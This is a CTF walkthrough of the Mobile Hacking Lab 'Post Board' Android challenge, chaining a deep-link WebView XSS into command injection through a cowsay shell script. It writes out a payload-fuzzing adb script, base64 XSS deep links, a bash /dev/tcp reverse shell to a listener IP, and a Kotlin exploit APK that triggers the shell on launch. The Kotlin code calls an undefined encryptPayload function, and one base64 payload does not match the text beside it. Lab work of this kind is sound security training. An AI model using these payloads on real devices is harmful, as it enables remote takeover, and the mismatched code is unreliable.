Mobile Hacking Lab - Post Board

Exploiting XSS for Remote Code Execution in Android WebView: A Mobile Hacking Lab CTF Challenge

When it comes to mobile application, security bugs are often overlooked. This detailed walkthrough explores a mobile application CTF challenge from Mobile Hacking Lab, containing vulnerabilities found in the real world. The main goal of this challenge is to use a Cross-Site Scripting (XSS) vulnerability to achieve Remote Code Execution (RCE) in the WebView component of an Android app.

You can access the challenge here: Mobile Hacking Lab - Post Board

The Challenge Overview

The challenge “Post Board”, presents a detailed scenario: We are tasked to identify and exploit a vulnerability within an Android application’s WebView component susceptible to Cross-Site Scripting (XSS) attacks. The ultimate goal is to utilize this XSS vulnerability to gain Remote Code Execution (RCE) on the device, thus highlightin a significant security oversight in the management of web content within the mobile applications.

Discovery Phase

I fired up the app and noticed we could post messages.

To test it’s functionality, I sent a basic test message:

Manifest Analysis

I grabbed the APK off the device and broke it down to take a closer look at the AndroidManifest.xml.

Let’s dive into checking out the AndroidManifest.xml file, shall we?

Diving deeper into the “PostBoard” application’s Android manifest reveals a critical configuration within the <activity> declaration for MainActivity.

Activity Declaration

<activity android:exported="true" android:name="com.mobilehackinglab.postboard.MainActivity">

android:exported="true" : This attribute signifies that MainActivity is accessible to other apps. An activity with exported=true can be started by components of other applications using an Intent. While necessary for certain functionalities, such as deep linking, this also means that the activity can be invoked by external applications, which could be a concern if the activity handles sensitive information or performs critical operations without adequate security checks.

MAIN Intent Filter

<intent-filter>
    <action android:name="android.intent.action.MAIN"/>
    <category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>

This intent filter marks MainActivity as the entry point of the application. It’s what allows the activity to be launched directly from the launcher.

The manifest defines an activity with intent-filters designed to handle specific actions and URI schemes:

<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:host="postmessage" android:scheme="postboard"/>
</intent-filter>

This configuration is particularly noteworthy for a couple of reasons:

  • Deep Linking: The specified intent-filter allows the app to handle deep links, with URLs following the postboard://postmessage schema. Deep links are a powerful feature for enhancing app interactivity and integration with web content. However, they also introduce a vector through which malicious URLs might be crafted to exploit vulnerabilities in how the app processes incoming data, potentially facilitating XSS attacks if the URL content is not properly sanitized before being displayed in a WebView.
  • Exposure to Web Content: The inclusion of a browsable category alongside a custom URL scheme directly points to the app’s interaction with web content. When combined with WebView, this interactivity necessitates rigorous security measures to prevent malicious web content from exploiting the app, especially concerning XSS attacks.

Code Analysis

Let’s fire up jadx-gui and dig through the code to get a grip on how this app works.

MainActivity

The Foundation: onCreate

@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
    this.binding = inflate;
    setContentView(inflate.getRoot());
    CowsayUtil.Companion.initialize(this);
    setupWebView(binding.webView);
    handleIntent();
}

At the outset, onCreate is where the magic begins. This method is the launching pad for the activity’s lifecycle, setting up the initial state of the application:

  • Inflation of ActivityMainBinding: The app leverages View Binding to interact with the layout. This approach enhances code clarity and safety when manipulating the UI, as it provides direct access to components without the boilerplate of findViewById.
  • Initialization of CowsayUtil: A curious addition is the initialization of CowsayUtil. This utility, presumably, is intended to bring the classic Linux cowsay command to Android. Its inclusion hints at its potential use within the challenge, particularly in how it interacts with the user or processes input.

Configuring the WebView: setupWebView

private final void setupWebView(WebView webView) {
    webView.getSettings().setJavaScriptEnabled(true);
    webView.setWebChromeClient(new WebAppChromeClient());
    webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
    webView.loadUrl("file:///android_asset/index.html");
}

The setupWebView method is particularly interesting for several reasons:

  • Enabling JavaScript: By setting JavaScriptEnabled to true, the app allows the execution of JavaScript within the WebView. This decision is double-edged; it loads the app with dynamic content and interactivity but also opens the door to XSS vulnerabilities if the content isn’t properly sanitized!
  • Adding a WebAppInterface: The introduction of a WebAppInterface through addJavascriptInterface presents an interesting bridge between the web content and native Android functionality. This interface is a money for the challenge, as it likely exposes methods that can be called from JavaScript, offering a pathway to explore potential XSS to RCE exploits.

Handling Incoming Intents: handleIntent

private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    if ("android.intent.action.VIEW".equals(action) && data != null && "postboard".equals(data.getScheme()) && "postmessage".equals(data.getHost())) {
        String path = data.getPath();
        byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
        String message = new String(decode, Charsets.UTF_8).replace("'", "\\'");
        binding.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
    }
}

The handleIntent method reveals how the app processes incoming intents, particularly those with the action android.intent.action.VIEW. This processing logic is central to understanding how the app can be manipulated externally, especially through deep links:

  • URL Scheme and Host Validation: The app checks if the incoming intent matches specific criteria (scheme: postboard, host: postmessage).
  • Base64 Decoding and Dynamic Content Loading: The method decodes Base64-encoded data from the URL, attempts to sanitize it by escaping single quotes, and then dynamically loads it into the WebView using postMarkdownMessage. It illustrates a direct vector for XSS attacks if the content isn’t adequately sanitized before being rendered…
  • Error Handling with postCowsayMessage: In case of exceptions, the app falls back to displaying a cowsay message.

WebAppChromeClient

Let’s go over the WebAppChromeClient class. This class extends WebChromeClient, providing an avenue to handle JavaScript alerts within the application’s WebView.

Handling JavaScript Alerts: onJsAlert

The onJsAlert method is a central piece of this class, capturing JavaScript alert dialog requests from web content loaded within the WebView.

@Override // android.webkit.WebChromeClient
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
    Intrinsics.checkNotNullParameter(view, "view");
    Intrinsics.checkNotNullParameter(url, "url");
    Intrinsics.checkNotNullParameter(message, "message");
    Intrinsics.checkNotNullParameter(result, "result");
    new AlertDialog.Builder(view.getContext()).setMessage(message).setPositiveButton(17039370, new DialogInterface.OnClickListener() {
        @Override // android.content.DialogInterface.OnClickListener
        public final void onClick(DialogInterface dialogInterface, int i) {
            WebAppChromeClient.onJsAlert$lambda$0(result, dialogInterface, i);
        }
    }).setCancelable(false).create().show();
    return true;
}

This method demonstrates the application’s strategy for rendering JavaScript alerts. Rather than using the default browser alert dialog, it opts to create a custom Android dialog. This approach allows for a more integrated user experience, ensuring that the alert’s look and feel align with the rest of the application.

  • Custom Alert Dialogs: The usage of AlertDialog.Builder to display the alert message is particularly interesting. It showcases the flexibility Android offers in customizing how web content interacts with users, enhancing the app’s UI/UX design.

Dialog Interaction Handling

The method includes a callback for when the dialog’s positive button is clicked, invoking onJsAlert$lambda$0:

public static final void onJsAlert$lambda$0(JsResult result, DialogInterface dialogInterface, int i) {
    Intrinsics.checkNotNullParameter(result, "$result");
    result.confirm();
}

  • Confirming the Result: The callback primarily confirms the JavaScript result, effectively closing the alert dialog. This is a critical step in managing the dialog lifecycle, ensuring that the web content does not remain in a waiting state and that user interactions are properly acknowledged.

WebAppInterface

Let’s go over the WebAppInterface class, it offers a fascinating glimpse into how the “Post Board” Android application integrates web functionalities within its native framework. Let’s explore the technical details and implications of this class…

Interfacing with Web Content: @JavascriptInterface

@JavascriptInterface
public final String getMessages() {...}

@JavascriptInterface
public final void clearCache() {...}

@JavascriptInterface
public final void postMarkdownMessage(String markdownMessage) {...}

@JavascriptInterface
public final void postCowsayMessage(String cowsayMessage) {...}

The use of @JavascriptInterface, marking methods that JavaScript code within the app’s WebView can invoke. This bridge between the web and native app layers is both powerful and potentially dangerous, this could lead to exposed sensitive functionalities/data.

Fetching Messages: getMessages

public final String getMessages() {
    List messages = this.cache.getMessages();
    String jSONArray = new JSONArray((Collection) messages).toString();
    return jSONArray;
}

The getMessages method fetches messages stored in a cache, returning them as a JSON array string. This function illustrates the app’s capability to retrieve data for web presentation, showcasing an aspect of dynamic content loading.

Cache Management: clearCache

public final void clearCache() {
    this.cache.clearCache();
}

Simple yet essential, the clearCache method show the importance of app hygiene, enabling the clearing of cached data. This function reflects a consideration for performance and data integrity within the app’s design.

Markdown Processing: postMarkdownMessage

public final void postMarkdownMessage(String markdownMessage) {...}

This method stands out as particularly interesting. It processes a markdown message, converting it to HTML. The series of regex replacements from markdown to various HTML tags (<pre>, <code>, <img>, etc.) indicates sophisticated text processing. However, this functionality could be a double-edged sword, harboring potential XSS vulnerabilities if the input markdown is not properly sanitized, making it an interesting method for the challenge.

Displaying Cowsay Messages: postCowsayMessage

public final void postCowsayMessage(String cowsayMessage) {...}

Lastly, postCowsayMessage provides a unique and creative touch to the app, using the CowsayUtil to generate ASCII art messages…

Can we use it eventually?

CowsayUtil

The CowsayUtil class emerges as a fascinating piece of the puzzle. Let’s dive into it…

public final class CowsayUtil {
    public static final Companion Companion = new Companion(null);
    private static final String SCRIPT_NAME = "cowsay.sh";
    private static String scriptPath;
    ...
}

At its core, CowsayUtil holds a reference to a script named cowsay.sh, intended to be placed within the application’s assets. The Companion object within the class serves as a singleton instance, providing utility methods to interact with the cowsay script.

Initialization: Preparing the cowsay Command

The initialization process, as it sets the stage for executing the cowsay script within the Android environment:

public final void initialize(Context context) {
    ...
    File file = new File(context.getFilesDir(), CowsayUtil.SCRIPT_NAME);
    InputStream open = context.getAssets().open(CowsayUtil.SCRIPT_NAME);
    ...
    file.setExecutable(true);
    CowsayUtil.scriptPath = file.getAbsolutePath();
}

This method copies the cowsay.sh script from the application’s assets to a file within the app’s private files directory and marks it as executable. This step, as it allows the script to be run by the app, bridging the gap between the static asset and dynamic execution.

Running cowsay: Bridging Android and Unix

The runCowsay method embodies the intersection of Android development and Unix command execution:

public final String runCowsay(String message) {
    ...
    String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
    Process process = Runtime.getRuntime().exec(command);
    ...
}

Here, we see the application constructing a command to execute the cowsay script with the provided message. This operation is a classic example of running external processes from Java.

Very interesting… This rises 2 questions:

  • Input Validation: How does CowsayUtil validate the message parameter? Improper validation could lead to command injection vulnerabilities, allowing attackers to execute arbitrary commands…
  • Execution Environment: The use of /bin/sh to execute a script highlights the intersection of Android and Unix/Linux environments. Can we make use of it?

Application Exploitation Strategy

After going over the code, from what I’ve gathered, the heart of the app boils down to a few key parts:

  • MainActivity: The primary activity that initializes the WebView and loads the local index.html file.
  • WebAppInterface: A class exposed to the WebView for JavaScript to call Android methods.
  • CowsayUtil: A utility for running a cowsay shell script, illustrating how native functionalities might be invoked.

Exploitation: WebView XSS

Let’s start with the XSS. This was my approach:

  1. WebView Configuration: WebView enables JavaScript and loads content from the assets directory, making it susceptible to XSS attacks if the content includes user-supplied input.
    webView.getSettings().setJavaScriptEnabled(true);
    webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
    webView.loadUrl("file:///android_asset/index.html");
    
  2. Unsanitized Input Handling: Methods within WebAppInterface do not sanitize inputs before processing, creating a potential vector for XSS.
  3. handleIntent takes Base64 as input, so the payload must be encoded.

Crafting the XSS Payload

To exploit the XSS vulnerability, we need a payload that can bypass input sanitization (if any) and execute JavaScript within the WebView context.

My approach was simple:

Use ADB to interact with the WebView component within the “Post Board” application. The aim was to programmatically navigate to a specific part of the app and deliver a payload encoded in base64 format directly to it (remember the handleIntent? ).

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/[INSERT BASE64 PAYLOAD]" com.mobilehackinglab.postboard/.MainActivity

The command is executed to launch the “Post Board” app directly to a state where it processes the supplied base64 encoded text.

Now, I was lazy and didn’t want to spend much time trying to find a payload that worked so I created a simple Python script to help with the discovery. The script takes a list of payloads as input and run the adb command. There’s a 5 seconds delay between each commands to let the the app breathe.

If things go as planned, the app should execute the JavaScript.

import argparse
import base64
import subprocess
import time

def construct_adb_command(payload):
    """
    This function constructs the ADB command necessary to send the payload to the Android application.
    It encodes the payload in base64 format and embeds it into the custom URL scheme expected by the app.
    """
    base64_payload = base64.b64encode(payload.encode()).decode()
    return f'adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/{base64_payload}" com.mobilehackinglab.postboard/.MainActivity'

def read_payloads(file_path):
    """
    This function reads a list of XSS payloads from a specified file.
    Each line in the file is considered a separate payload.
    """
    with open(file_path, 'r') as file:
        return file.readlines()

def main(file_path):
    """
    This is the main function where the script starts executing.
    It reads payloads from a file, constructs the ADB command for each payload, and executes them one by one.
    A 5-second pause is added between each command to ensure the app has enough time to process each request.
    """
    payloads = read_payloads(file_path)
    
    for payload in payloads:
        payload = payload.strip()  # Clean the payload by removing any leading/trailing whitespace or newline characters.
        adb_command = construct_adb_command(payload)
        print(f"Running: {adb_command}")
        subprocess.run(adb_command, shell=True)  # Execute the ADB command to send the payload to the app.
        time.sleep(5)  # Wait for 5 seconds to prevent overwhelming the app with too many requests at once.

if __name__ == "__main__":
    """
    The script entry point. It parses command-line arguments to get the path of the file containing XSS payloads.
    Then it calls the main function with the file path as the argument.
    """
    parser = argparse.ArgumentParser(description='Run ADB commands with base64 encoded XSS payloads.')
    parser.add_argument('file_path', type=str, help='Path to the file containing XSS payloads.')
    
    args = parser.parse_args()
    
    main(args.file_path)

Running the script is simple:

python3 payloads.py list.txt

After a short period of time, I got a hit!

I stopped the script from running, and checked my terminal to see which payload triggered the XSS.

I decoded the Base64 string to see what the payload was:

The payload: "onclick=prompt(8)><svg/onload=prompt(8)>"@x.y

I tried the command without running the script and tweaked the payload to see if it was still triggering.

I removed some of the clutter in the payload and <svg/onload=prompt(8)> worked like a charm.

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/PHN2Zy9vbmxvYWQ9cHJvbXB0KDgpPg==" com.mobilehackinglab.postboard/.MainActivity

Achieving Remote Code Execution

The final step of the challenge was to escalate from XSS to RCE. This required a different approach, given the WebAppInterface and CowsayUtil provided methods. The winning payload, when decoded from Base64, essentially attempts to leverage the application’s functionality to run arbitrary commands, signifying an exploit where the postCowsayMessage method could be manipulated for unintended command execution.

The Malicious Payload

The payload is quite simple, we have to make a call to the WebAppInterface method that invoke the postCowsayMessage. This will trigger the runCowsay method from the CowsayUtil class.

Let’s try something:

<svg/onload="WebAppInterface.postCowsayMessage('test')">

WebAppInterface.postCowsayMessage('HELLO'): This invokes a method from an object (WebAppInterface) exposed to the WebView via @JavascriptInterface in the application. The method postCowsayMessage is called with the argument 'HELLO'.

Let’s Base64 encode the payload:

PHN2Zy9vbmxvYWQ9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgndGVzdCcpIj4=

Next, adb magic:

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/PHN2Zy9vbmxvYWQ9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgndGVzdCcpIj4=" com.mobilehackinglab.postboard/.MainActivity

The cow is now saying “test”, means that our call to postCowsayMessage works!

Given that the message is executed, it opens up the possibility to embed any bash command within the parentheses of the payload. I decided to go for a full reverse shell…because it’s fun.

It’s important to point out, after multiple attempts, that ending the text with a semicolon (;) is to ensured the execution of the query, especially when the goal is to escape the text.

<svg/onload="WebAppInterface.postCowsayMessage('test;bash -i >& /dev/tcp/10.11.3.2/8081 0>&1')">

Encode the payload to Base64:

PHN2Zy9vbmxvYWQ9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgncHdkO2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTEuMy4yLzgwODEgMD4mMScpIj4K

Start a Netcat listener:

nc -lvp 8081

Let’s send the payload:

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/PHN2Zy9vbmxvYWQ9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgncHdkO2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTEuMy4yLzgwODEgMD4mMScpIj4K" com.mobilehackinglab.postboard/.MainActivity

Shell time :)

Advancing Exploit Techniques

To illustrate the vulnerabilities present in the Post Board application (WebView XSS and Remote Code Execution (RCE)), I developed a custom APK. This application, when launched, is programmed to automatically establish a reverse shell connection from the targeted device. This approach highlights the exploitation from the initial user interaction to obtaining unauthorized access to execute commands on the device.

The full code below, don’t hesitate to reach out if you have issue running it!

package com.example.mobilehackinglab_postboard_poc

import android.content.Intent
import android.net.Uri
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import java.util.Base64

// Main activity that launches the exploit.
class ExploitActivity : AppCompatActivity() {
    // Lifecycle method called when the activity is created.
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        // Sets the UI layout for this activity.
        setContentView(R.layout.activity_exploit)

        // Calls the method to execute the exploit.
        executeExploit()
    }

    // Prepares and launches the exploit.
    private fun executeExploit() {
        // Defines the target app component to be exploited.
        val targetComponent = TargetComponent("com.mobilehackinglab.postboard", "com.mobilehackinglab.postboard.MainActivity")
        // Encapsulates the exploit payload.
        val exploitData = ExploitData("<svg/onload=\"WebAppInterface.postCowsayMessage('test;bash -i >& /dev/tcp/10.11.3.2/8081 0>&1')\">")
        // Encodes the payload in Base64 and prepares the URI.
        val encodedUri = exploitData.prepareDataUri()

        // Launches the activity in the target app with the exploit data.
        launchTargetActivity(targetComponent, encodedUri)
    }

    // Launches the target activity with the exploit URI.
    private fun launchTargetActivity(targetComponent: TargetComponent, dataUri: String) {
        // Constructs an intent to view the exploit URI.
        val intent = Intent(Intent.ACTION_VIEW).apply {
            // Specifies the target component.
            setClassName(targetComponent.packageName, targetComponent.activityName)
            // Sets the data URI containing the exploit.
            data = Uri.parse(dataUri)
        }
        // Attempts to start the activity with the intent.
        safelyStartActivity(intent)
    }

    // Safely attempts to start an activity with the given intent.
    private fun safelyStartActivity(intent: Intent) {
        try {
            // Tries to start the activity.
            startActivity(intent)
        } catch (e: Exception) {
            // Logs the exception if the activity fails to start.
            e.printStackTrace()
        }
    }
}

// Represents the payload to be exploited.
class ExploitData(private val payload: String) {
    // Prepares the data URI with the encoded payload.
    fun prepareDataUri(): String {
        // Encodes the payload in Base64 format.
        val base64Payload = Base64.getEncoder().encodeToString(encryptPayload(payload).toByteArray())
        // Returns the complete data URI for the exploit.
        return "postboard://postmessage/$base64Payload"
    }
}

// Represents the target app component for the exploit.
data class TargetComponent(val packageName: String, val activityName: String)

Install the APK in Corellium:

Launch the exploit app:

Profit ;)

Conclusion

Closing out our walkthrough of “Post Board”, we’ve journeyed through the world where web and mobile vulnerabilities meet. This exploration served not just as a technical exercise but as a learning opportunity, showcasing the need for securing Android applications against XSS and RCE vulnerabilities.

From examining app functionalities to dissecting the AndroidManifest.xml, and reading into the code, every step reinforced the significance of secure coding and thorough web content management. Crafting and executing payloads demonstrated how theoretical vulnerabilities can lead to real-world exploits, using ADB commands and Python for practical application.

Thank you Mobile Hacking Lab for this awesome challenge. Can’t wait for the next one!